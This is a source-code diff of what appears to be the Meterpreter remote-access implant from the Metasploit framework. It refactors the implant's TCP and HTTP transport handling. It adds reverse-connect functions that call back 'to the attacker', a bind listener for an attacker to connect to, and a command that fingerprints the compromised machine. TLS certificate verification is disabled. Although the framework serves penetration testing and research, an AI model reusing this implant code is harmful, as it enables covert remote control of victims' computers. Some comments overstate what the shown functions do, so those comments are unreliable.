LINKAGE DWORD packet_receive_via_http_wininet(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
|
||||
* @param result The result to be sent.
|
||||
|
@ -8,34 +8,41 @@
|
||||
* @brief Instantiate a remote context from a file descriptor.
|
||||
* @details This function takes a file descriptor and wraps it in \c Remote
|
||||
* context which makes it easier to interact with the endpoint.
|
||||
* @param fd File descriptor for the socket that needs to be wrapped.
|
||||
* @returns Pointer to the created \c Remote instance.
|
||||
* @retval NULL Indicates a memory allocation failure or a lock creation failure.
|
||||
* @retval Non-NULL Successful creation of the context.
|
||||
*/
|
||||
Remote *remote_allocate(SOCKET fd)
|
||||
Remote* remote_allocate()
|
||||
{
|
||||
Remote *remote = NULL;
|
||||
Remote* remote = (Remote*)malloc(sizeof(Remote));
|
||||
LOCK* lock = lock_create();
|
||||
|
||||
if ((remote = (Remote *)malloc(sizeof(Remote))))
|
||||
do
|
||||
{
|
||||
memset(remote, 0, sizeof(Remote));
|
||||
|
||||
remote->fd = fd;
|
||||
|
||||
remote->lock = lock_create();
|
||||
|
||||
|
||||
// If we failed to create the lock we must fail to create the remote
|
||||
// as we wont be able to synchronize communication correctly.
|
||||
if( remote->lock == NULL )
|
||||
if (remote == NULL || lock == NULL)
|
||||
{
|
||||
remote_deallocate( remote );
|
||||
return NULL;
|
||||
break;
|
||||
}
|
||||
|
||||
memset(remote, 0, sizeof(Remote));
|
||||
remote->lock = lock;
|
||||
|
||||
dprintf("[REMOTE] remote created %p", remote);
|
||||
return remote;
|
||||
} while (0);
|
||||
|
||||
if (lock)
|
||||
{
|
||||
lock_destroy(lock);
|
||||
}
|
||||
|
||||
return remote;
|
||||
if (remote)
|
||||
{
|
||||
free(remote);
|
||||
}
|
||||
|
||||
vdprintf("[REMOTE] here 3");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -44,47 +51,17 @@ Remote *remote_allocate(SOCKET fd)
|
||||
*/
|
||||
VOID remote_deallocate(Remote * remote)
|
||||
{
|
||||
if (remote->fd)
|
||||
{
|
||||
closesocket(remote->fd);
|
||||
}
|
||||
|
||||
if (remote->lock)
|
||||
{
|
||||
lock_destroy(remote->lock);
|
||||
}
|
||||
|
||||
if (remote->uri)
|
||||
{
|
||||
free(remote->uri);
|
||||
}
|
||||
|
||||
// Wipe our structure from memory
|
||||
memset(remote, 0, sizeof(Remote));
|
||||
|
||||
free(remote);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Override a previously set file descriptor.
|
||||
* @param remote Pointer to the existing \c Remote instance.
|
||||
* @param fd The new file descriptor to use for the \c Remote instance.
|
||||
*/
|
||||
VOID remote_set_fd(Remote *remote, SOCKET fd)
|
||||
{
|
||||
remote->fd = fd;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the remote context's file descriptor.
|
||||
* @param remote Pointer to the \c Remote instance to get the file descriptor from.
|
||||
* @returns The associated file descriptor.
|
||||
*/
|
||||
SOCKET remote_get_fd(Remote *remote)
|
||||
{
|
||||
return remote->fd;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Initializes a given cipher as instructed by the remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
|
@ -8,6 +8,67 @@
|
||||
#include "crypto.h"
|
||||
#include "thread.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
typedef wchar_t* STRTYPE;
|
||||
#else
|
||||
typedef char* STRTYPE;
|
||||
#endif
|
||||
|
||||
// Forward declarations required to keep compilers happy.
|
||||
typedef struct _Packet Packet;
|
||||
typedef struct _PacketRequestCompletion PacketRequestCompletion;
|
||||
typedef struct _Transport Transport;
|
||||
typedef struct _Remote Remote;
|
||||
|
||||
typedef SOCKET(*PTransportGetSocket)(Transport* transport);
|
||||
typedef BOOL(*PTransportInit)(Remote* remote, SOCKET fd);
|
||||
typedef BOOL(*PTransportDeinit)(Remote* remote);
|
||||
typedef void(*PTransportDestroy)(Remote* remote);
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
|
||||
typedef DWORD(*PPacketReceive)(Remote* remote, Packet** packet);
|
||||
|
||||
typedef struct _TcpTransportContext
|
||||
{
|
||||
SOCKET fd; ///! Remote socket file descriptor.
|
||||
SSL_METHOD* meth; ///! The current SSL method in use.
|
||||
SSL_CTX* ctx; ///! SSL-specific context information.
|
||||
SSL* ssl; ///! Pointer to the SSL detail/version/etc.
|
||||
} TcpTransportContext;
|
||||
|
||||
typedef struct _HttpTransportContext
|
||||
{
|
||||
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
|
||||
STRTYPE uri; ///! URI endpoint in use during HTTP or HTTPS transport use.
|
||||
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
|
||||
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
|
||||
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
|
||||
|
||||
STRTYPE ua; ///! User agent string.
|
||||
STRTYPE proxy; ///! Proxy details.
|
||||
STRTYPE proxy_user; ///! Proxy username.
|
||||
STRTYPE proxy_pass; ///! Proxy password.
|
||||
|
||||
int expiration_time; ///! Unix timestamp for when the server should shut down.
|
||||
int start_time; ///! Unix timestamp representing the session startup time.
|
||||
int comm_last_packet; ///! Unix timestamp of the last packet received.
|
||||
int comm_timeout; ///! Unix timestamp for when to shutdown due to comms timeout.
|
||||
} HttpTransportContext;
|
||||
|
||||
typedef struct _Transport
|
||||
{
|
||||
DWORD type; ///! The type of transport in use.
|
||||
PTransportGetSocket get_socket; ///! Function to get the socket from the transport.
|
||||
PTransportInit transport_init; ///! Initialises the transport.
|
||||
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PPacketReceive packet_receive; ///! Receives a packet over the transport.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx;
|
||||
} Transport;
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
* @details Wraps the initialized file descriptor for extension purposes.
|
||||
@ -20,42 +81,31 @@
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
HMODULE hMetSrv; ///< Reference to the Meterpreter server instance.
|
||||
SOCKET fd; ///< Remote socket file descriptor.
|
||||
CryptoContext* crypto; ///< Cryptographic context associated with the connection.
|
||||
SSL_METHOD* meth; ///< The current SSL method in use.
|
||||
SSL_CTX* ctx; ///< SSL-specific context information.
|
||||
SSL* ssl; ///< Pointer to the SSL detail/version/etc.
|
||||
LOCK* lock; ///< OpenSSL usage lock.
|
||||
HANDLE hServerThread; ///< Handle to the current server thread.
|
||||
HANDLE hServerToken; ///< Handle to the current server security token.
|
||||
HANDLE hThreadToken; ///< Handle to the current thread security token.
|
||||
HMODULE hMetSrv; ///! Reference to the Meterpreter server instance.
|
||||
|
||||
DWORD dwOrigSessionId; ///< ID of the original Meterpreter session.
|
||||
DWORD dwCurrentSessionId; ///< ID of the currently active session.
|
||||
char* cpOrigStationName; ///< Original station name.
|
||||
char* cpCurrentStationName; ///< Name of the current station.
|
||||
char* cpOrigDesktopName; ///< Original desktop name.
|
||||
char* cpCurrentDesktopName; ///< Name of the current desktop.
|
||||
CryptoContext* crypto; ///! Cryptographic context associated with the connection.
|
||||
|
||||
DWORD transport; ///< Indicator of the transport in use for this session.
|
||||
wchar_t* url; ///< Full URL in use during HTTP or HTTPS transport use.
|
||||
wchar_t* uri; ///< URI endpoint in use during HTTP or HTTPS transport use.
|
||||
HANDLE hInternet; ///< Handle to the internet module for use with HTTP and HTTPS.
|
||||
HANDLE hConnection; ///< Handle to the HTTP or HTTPS connection.
|
||||
unsigned char* pCertHash; ///< Pointer to the 20-byte certificate hash to validate
|
||||
Transport* transport; ///! Pointer to the currently used transport mechanism.
|
||||
Transport* nextTransport; ///! Pointer to the next transport to use, if any.
|
||||
|
||||
int expiration_time; ///< Unix timestamp for when the server should shut down.
|
||||
int start_time; ///< Unix timestamp representing the session startup time.
|
||||
int comm_last_packet; ///< Unix timestamp of the last packet received.
|
||||
int comm_timeout; ///< Unix timestamp for when to shutdown due to comms timeout.
|
||||
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
|
||||
|
||||
HANDLE hServerThread; ///! Handle to the current server thread.
|
||||
HANDLE hServerToken; ///! Handle to the current server security token.
|
||||
HANDLE hThreadToken; ///! Handle to the current thread security token.
|
||||
|
||||
DWORD dwOrigSessionId; ///! ID of the original Meterpreter session.
|
||||
DWORD dwCurrentSessionId; ///! ID of the currently active session.
|
||||
char* cpOrigStationName; ///! Original station name.
|
||||
char* cpCurrentStationName; ///! Name of the current station.
|
||||
char* cpOrigDesktopName; ///! Original desktop name.
|
||||
char* cpCurrentDesktopName; ///! Name of the current desktop.
|
||||
} Remote;
|
||||
|
||||
Remote *remote_allocate(SOCKET fd);
|
||||
Remote* remote_allocate();
|
||||
VOID remote_deallocate(Remote *remote);
|
||||
|
||||
VOID remote_set_fd(Remote *remote, SOCKET fd);
|
||||
SOCKET remote_get_fd(Remote *remote);
|
||||
|
||||
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, struct _Packet *initializer);
|
||||
CryptoContext *remote_get_cipher(Remote *remote);
|
||||
|
@ -463,7 +463,13 @@ DWORD InitServerExtension(Remote *remote)
|
||||
peername4 = NULL;
|
||||
peername6 = NULL;
|
||||
peername_len = sizeof(peername);
|
||||
getpeername(remote->fd, &peername, &peername_len);
|
||||
|
||||
if (remote->transport->get_socket) {
|
||||
getpeername(remote->transport->get_socket(remote->transport), &peername, &peername_len);
|
||||
}
|
||||
else {
|
||||
// TODO: not sure what to do here.
|
||||
}
|
||||
|
||||
switch(peername.sa_family) {
|
||||
case PF_INET:
|
||||
|
@ -1233,11 +1233,16 @@ DWORD InitServerExtension(Remote *remote)
|
||||
peername4 = NULL;
|
||||
peername6 = NULL;
|
||||
peername_len = sizeof(peername);
|
||||
getpeername(remote->fd, &peername, &peername_len);
|
||||
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
|
||||
if (remote->transport->get_socket) {
|
||||
getpeername(remote->transport->get_socket(remote->transport), &peername, &peername_len);
|
||||
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
|
||||
|
||||
dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
|
||||
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
|
||||
dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
|
||||
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
|
||||
}
|
||||
else {
|
||||
// TODO: not sure what to do here
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Creating a lock...");
|
||||
snifferm = lock_create();
|
||||
|
@ -1,5 +1,9 @@
|
||||
#include <dlfcn.h>
|
||||
#include "metsrv.h"
|
||||
#include <sys/types.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/utsname.h>
|
||||
#define MAX_PATH 256
|
||||
|
||||
extern Command *extensionCommands;
|
||||
extern PLIST gExtensionList;
|
||||
@ -112,3 +116,43 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
|
||||
return (res);
|
||||
}
|
||||
|
||||
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Packet* pResponse = packet_create_response(pPacket);
|
||||
|
||||
if (pResponse) {
|
||||
char buffer[MAX_PATH];
|
||||
struct dirent *data;
|
||||
struct utsname utsbuf;
|
||||
DIR *ctx = opendir("/dev/disk/by-id/");
|
||||
|
||||
if (uname(&utsbuf) == -1) {
|
||||
res = GetLastError();
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (ctx == NULL) {
|
||||
res = GetLastError();
|
||||
goto out;
|
||||
}
|
||||
|
||||
while (data = readdir(ctx)) {
|
||||
// TODO: make sure that looking for drives prefixed with "ata" is a good
|
||||
// idea. We might need to search for a bunch of prefixes.
|
||||
if (strncmp(data->d_name, "ata-", 4) == 0) {
|
||||
snprintf(buffer, MAX_PATH - 1, "%s:%s", data->d_name + 4, utsbuf.nodename);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_MACHINE_ID, buffer);
|
||||
break;
|
||||
}
|
||||
}
|
||||
closedir(ctx);
|
||||
|
||||
out:
|
||||
|
||||
packet_transmit_response(res, pRemote, pResponse);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -8,12 +8,14 @@ extern HINSTANCE hAppInstance;
|
||||
PLIST gExtensionList = NULL;
|
||||
|
||||
DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket);
|
||||
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket);
|
||||
|
||||
// Dispatch table
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("core_loadlib", request_core_loadlib),
|
||||
COMMAND_REQ("core_enumextcmd", request_core_enumextcmd),
|
||||
COMMAND_REQ("core_machine_id", request_core_machine_id),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
@ -45,6 +47,7 @@ BOOL ext_cmd_callback(LPVOID pState, LPVOID pData)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
@ -61,6 +64,7 @@ DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket)
|
||||
bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt);
|
||||
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, ERROR_SUCCESS);
|
||||
|
||||
packet_transmit(pRemote, pResponse, NULL);
|
||||
}
|
||||
|
||||
|
@ -173,7 +173,7 @@ unsigned metsrv_rtld(int fd, int options)
|
||||
}
|
||||
|
||||
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
|
||||
TRACE("[ metsrv server_setup is at %p, calling ]\n", server_setup);
|
||||
TRACE("[ metsrv server_setup is at 0x%x, calling ]\n", server_setup);
|
||||
server_setup(fd);
|
||||
|
||||
TRACE("[ metsrv_rtld(): server_setup() returned, exit()'ing ]\n");
|
||||
|
@ -3,11 +3,14 @@
|
||||
*/
|
||||
#include "metsrv.h"
|
||||
#include "../../common/common.h"
|
||||
#include <netdb.h>
|
||||
|
||||
const DWORD RETRY_TIMEOUT_MS = 1000;
|
||||
|
||||
char *global_meterpreter_transport =
|
||||
"METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||
char *global_meterpreter_url =
|
||||
"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
|
||||
"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
|
||||
char *global_meterpreter_ua =
|
||||
"METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||
char *global_meterpreter_proxy =
|
||||
@ -22,12 +25,147 @@ int global_comm_timeout = 0xaf79257f;
|
||||
#define SetHandleInformation(a, b, c)
|
||||
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
|
||||
|
||||
/*! @brief This thread is the main server thread. */
|
||||
static THREAD *serverThread = NULL;
|
||||
|
||||
/*! @brief An array of locks for use by OpenSSL. */
|
||||
static LOCK **ssl_locks = NULL;
|
||||
|
||||
/*!
|
||||
* @brief Connects to a provided host/port (IPv4), downloads a payload and executes it.
|
||||
* @param host String containing the name or IP of the host to connect to.
|
||||
* @param port Port number to connect to.
|
||||
* @param retryAttempts The number of times to attempt to retry.
|
||||
*/
|
||||
DWORD reverse_tcp4(const char* host, u_short port, short retryAttempts, SOCKET* socketBuffer)
|
||||
{
|
||||
*socketBuffer = 0;
|
||||
|
||||
// prepare to connect to the attacker
|
||||
SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
struct hostent* target = gethostbyname(host);
|
||||
char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list);
|
||||
|
||||
struct sockaddr_in sock = { 0 };
|
||||
sock.sin_addr.s_addr = inet_addr(targetIp);
|
||||
sock.sin_family = AF_INET;
|
||||
sock.sin_port = htons(port);
|
||||
|
||||
// try connect to the attacker at least once
|
||||
while (connect(socketHandle, (struct sockaddr*)&sock, sizeof(sock)) == SOCKET_ERROR)
|
||||
{
|
||||
// retry with a Sleep if it fails, or exit the process on failure
|
||||
if (retryAttempts-- <= 0)
|
||||
{
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
sleep(RETRY_TIMEOUT_MS);
|
||||
}
|
||||
|
||||
*socketBuffer = socketHandle;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Connects to a provided host/port (IPv6), downloads a payload and executes it.
|
||||
* @param host String containing the name or IP of the host to connect to.
|
||||
* @param service The target service/port.
|
||||
* @param scopeId IPv6 scope ID.
|
||||
* @param retryAttempts The number of times to attempt to retry.
|
||||
*/
|
||||
DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, short retryAttempts, SOCKET* socketBuffer)
|
||||
{
|
||||
*socketBuffer = 0;
|
||||
|
||||
struct addrinfo hints = { 0 };
|
||||
hints.ai_family = AF_INET6;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
struct addrinfo* addresses;
|
||||
if (getaddrinfo(host, service, &hints, &addresses) != 0)
|
||||
{
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
|
||||
// prepare to connect to the attacker
|
||||
SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
if (socketHandle == INVALID_SOCKET)
|
||||
{
|
||||
dprintf("[STAGELESS IPV6] failed to connect to attacker");
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
dprintf("[STAGELESS IPV6] Socket successfully created");
|
||||
while (retryAttempts-- > 0)
|
||||
{
|
||||
struct addrinfo* address = NULL;
|
||||
dprintf("[STAGELESS IPV6] Attempt %u", retryAttempts + 1);
|
||||
for (address = addresses; address != NULL; address = address->ai_next)
|
||||
{
|
||||
((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId;
|
||||
|
||||
if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR)
|
||||
{
|
||||
dprintf("[STAGELESS IPV6] Socket successfully connected");
|
||||
*socketBuffer = socketHandle;
|
||||
freeaddrinfo(addresses);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
sleep(RETRY_TIMEOUT_MS);
|
||||
}
|
||||
|
||||
closesocket(socketHandle);
|
||||
freeaddrinfo(addresses);
|
||||
return WSAGetLastError();
|
||||
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Listens on a port for an incoming payload request.
|
||||
* @param port Port number to listen on.
|
||||
*/
|
||||
DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
|
||||
{
|
||||
*socketBuffer = 0;
|
||||
|
||||
// prepare a connection listener for the attacker to connect to
|
||||
SOCKET listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
struct sockaddr_in sock = { 0 };
|
||||
sock.sin_addr.s_addr = inet_addr("0.0.0.0");
|
||||
sock.sin_family = AF_INET;
|
||||
sock.sin_port = htons(port);
|
||||
|
||||
if (bind(listenSocket, (struct sockaddr*)&sock, sizeof(sock)) == SOCKET_ERROR)
|
||||
{
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
if (listen(listenSocket, 1) == SOCKET_ERROR)
|
||||
{
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
// Setup, ready to go, now wait for the connection.
|
||||
SOCKET acceptSocket = accept(listenSocket, NULL, NULL);
|
||||
|
||||
// don't bother listening for other connections
|
||||
closesocket(listenSocket);
|
||||
|
||||
if (acceptSocket == INVALID_SOCKET)
|
||||
{
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
*socketBuffer = acceptSocket;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief A callback function used by OpenSSL to leverage native system locks.
|
||||
* @param mode The lock mode to set.
|
||||
@ -44,6 +182,11 @@ static void server_locking_callback(int mode, int type, const char *file, int li
|
||||
}
|
||||
}
|
||||
|
||||
SOCKET tcp_transport_get_socket(Transport* transport)
|
||||
{
|
||||
return ((TcpTransportContext*)transport->ctx)->fd;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief A callback function used by OpenSSL to get the current threads id.
|
||||
* @returns The current thread ID.
|
||||
@ -89,27 +232,26 @@ static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value *l, const cha
|
||||
*/
|
||||
static void server_socket_flush(Remote * remote)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
fd_set fdread;
|
||||
DWORD ret;
|
||||
SOCKET fd;
|
||||
char buff[4096];
|
||||
lock_acquire(remote->lock);
|
||||
fd = remote_get_fd(remote);
|
||||
|
||||
while (1) {
|
||||
struct timeval tv;
|
||||
LONG data;
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
FD_SET(ctx->fd, &fdread);
|
||||
|
||||
// Wait for up to one second for any errant socket data to appear
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 0;
|
||||
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||
data = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
|
||||
if (data == 0)
|
||||
break;
|
||||
|
||||
ret = recv(fd, buff, sizeof(buff), 0);
|
||||
ret = recv(ctx->fd, buff, sizeof(buff), 0);
|
||||
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
|
||||
|
||||
// The socket closed while we waited
|
||||
@ -125,17 +267,17 @@ static void server_socket_flush(Remote * remote)
|
||||
*/
|
||||
static LONG server_socket_poll(Remote * remote, long timeout)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
struct timeval tv;
|
||||
LONG result;
|
||||
fd_set fdread;
|
||||
SOCKET fd;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
fd = remote_get_fd(remote);
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
FD_SET(ctx->fd, &fdread);
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = timeout;
|
||||
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||
result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
|
||||
|
||||
if (result == -1 &&
|
||||
(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
|
||||
@ -162,6 +304,7 @@ static int server_initialize_ssl(Remote * remote)
|
||||
// Setup the required OpenSSL multi-threaded enviroment...
|
||||
ssl_locks = malloc(CRYPTO_num_locks() * sizeof(LOCK *));
|
||||
if (ssl_locks == NULL) {
|
||||
dprintf("[SSL INIT] failed to allocate locks (%d locks)", CRYPTO_num_locks());
|
||||
lock_release(remote->lock);
|
||||
return -1;
|
||||
}
|
||||
@ -182,15 +325,19 @@ static int server_initialize_ssl(Remote * remote)
|
||||
/*
|
||||
* Bring down the OpenSSL subsystem
|
||||
*/
|
||||
void server_destroy_ssl(Remote * remote)
|
||||
BOOL server_destroy_ssl(Remote * remote)
|
||||
{
|
||||
TcpTransportContext* ctx = NULL;
|
||||
int i;
|
||||
|
||||
if (remote) {
|
||||
dprintf("[SERVER] Destroying SSL");
|
||||
lock_acquire(remote->lock);
|
||||
SSL_free(remote->ssl);
|
||||
SSL_CTX_free(remote->ctx);
|
||||
if (remote->transport && remote->transport->ctx) {
|
||||
ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
SSL_free(ctx->ssl);
|
||||
SSL_CTX_free(ctx->ctx);
|
||||
}
|
||||
CRYPTO_set_locking_callback(NULL);
|
||||
CRYPTO_set_id_callback(NULL);
|
||||
CRYPTO_set_dynlock_create_callback(NULL);
|
||||
@ -203,6 +350,8 @@ void server_destroy_ssl(Remote * remote)
|
||||
free(ssl_locks);
|
||||
lock_release(remote->lock);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
@ -210,27 +359,26 @@ void server_destroy_ssl(Remote * remote)
|
||||
*/
|
||||
static BOOL server_negotiate_ssl(Remote * remote)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
BOOL success = TRUE;
|
||||
SOCKET fd = 0;
|
||||
DWORD ret = 0;
|
||||
DWORD res = 0;
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
fd = remote_get_fd(remote);
|
||||
remote->meth = TLSv1_client_method();
|
||||
remote->ctx = SSL_CTX_new(remote->meth);
|
||||
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
|
||||
remote->ssl = SSL_new(remote->ctx);
|
||||
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
|
||||
if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0) {
|
||||
ctx->meth = TLSv1_client_method();
|
||||
ctx->ctx = SSL_CTX_new(ctx->meth);
|
||||
SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY);
|
||||
ctx->ssl = SSL_new(ctx->ctx);
|
||||
SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL);
|
||||
if (SSL_set_fd(ctx->ssl, ctx->fd) == 0) {
|
||||
dprintf("[SERVER] set fd failed");
|
||||
success = FALSE;
|
||||
goto out;
|
||||
}
|
||||
|
||||
do {
|
||||
if ((ret = SSL_connect(remote->ssl)) != 1) {
|
||||
res = SSL_get_error(remote->ssl, ret);
|
||||
if ((ret = SSL_connect(ctx->ssl)) != 1) {
|
||||
res = SSL_get_error(ctx->ssl, ret);
|
||||
dprintf("[SERVER] connect failed %d\n", res);
|
||||
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) {
|
||||
|
||||
@ -246,9 +394,9 @@ static BOOL server_negotiate_ssl(Remote * remote)
|
||||
goto out;
|
||||
|
||||
